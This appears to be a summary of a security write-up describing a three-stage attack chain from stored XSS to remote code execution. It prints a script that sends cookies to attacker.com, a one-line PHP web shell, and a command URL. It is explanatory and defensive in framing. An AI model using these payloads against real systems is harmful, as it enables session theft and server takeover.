Detailed Technical Analysis of "From XSS to RCE in Three Acts"

Overview:
This write-up by Zeropwn effectively demonstrates how a seemingly low-severity Cross-Site Scripting (XSS) vulnerability can be leveraged into a full Remote Code Execution (RCE) exploit. The process unfolds in three stages, showcasing techniques that build on each other to elevate the level of access and control.

Key Technical Details:

  1. Act 1: XSS to Stealing Cookies: The initial part of the attack involves exploiting a stored XSS vulnerability to steal session cookies. The key steps are as follows:

  2. Stored XSS Discovery: The attacker identifies a stored XSS vulnerability on a web page. Any user viewing this page will execute the attacker-supplied JavaScript code.

  3. Payload Injection: The attacker injects a payload designed to steal session cookies: javascript <script> var img = new Image(); img.src = "http://attacker.com/log?cookie=" + document.cookie; </script>
  4. Cookie Exfiltration: When a victim visits the page, the injected script runs, sending their cookies to the attacker's server.

  5. Act 2: Cookie Theft to Admin Access: With the stolen cookies, the attacker gains administrative access to the application:

  6. Session Hijacking: Using the cookies, the attacker impersonates the victim’s session, especially targeting administrative accounts to gain higher privileges.

  7. Privilege Escalation: Admin access allows the attacker to perform high-risk actions like modifying user data, changing configurations, and uploading files.

  8. Act 3: Admin Access to RCE (Remote Code Execution): With administrative access, the attacker further elevates their control to achieve RCE:

  9. File Upload Functionality: The attacker uses the admin privileges to find a file upload functionality, likely intended for user content.

  10. Web Shell Upload: The attacker uploads a malicious PHP file (web shell) that contains code to execute system commands: php <?php system($_GET['cmd']); ?>
  11. Executing Commands: By navigating to the location of the uploaded PHP file and appending ?cmd= followed by shell commands to the URL, the attacker achieves code execution on the server: http://victim.com/uploads/shell.php?cmd=whoami
  12. Maintaining Persistence: To maintain persistence, the attacker may upload other backdoors or modify the server configuration to ensure continuous access.

Key Takeaways:

Additional Insights:

Conclusion:

The write-up offers a clear demonstration of the dangerous potential of XSS vulnerabilities when left unchecked. Through careful manipulation and privilege escalation, what starts as a simple XSS can evolve into a devastating RCE attack. This example underscores the necessity for comprehensive security measures and awareness at every level of web application development and deployment.

For full details, check the original blog post here.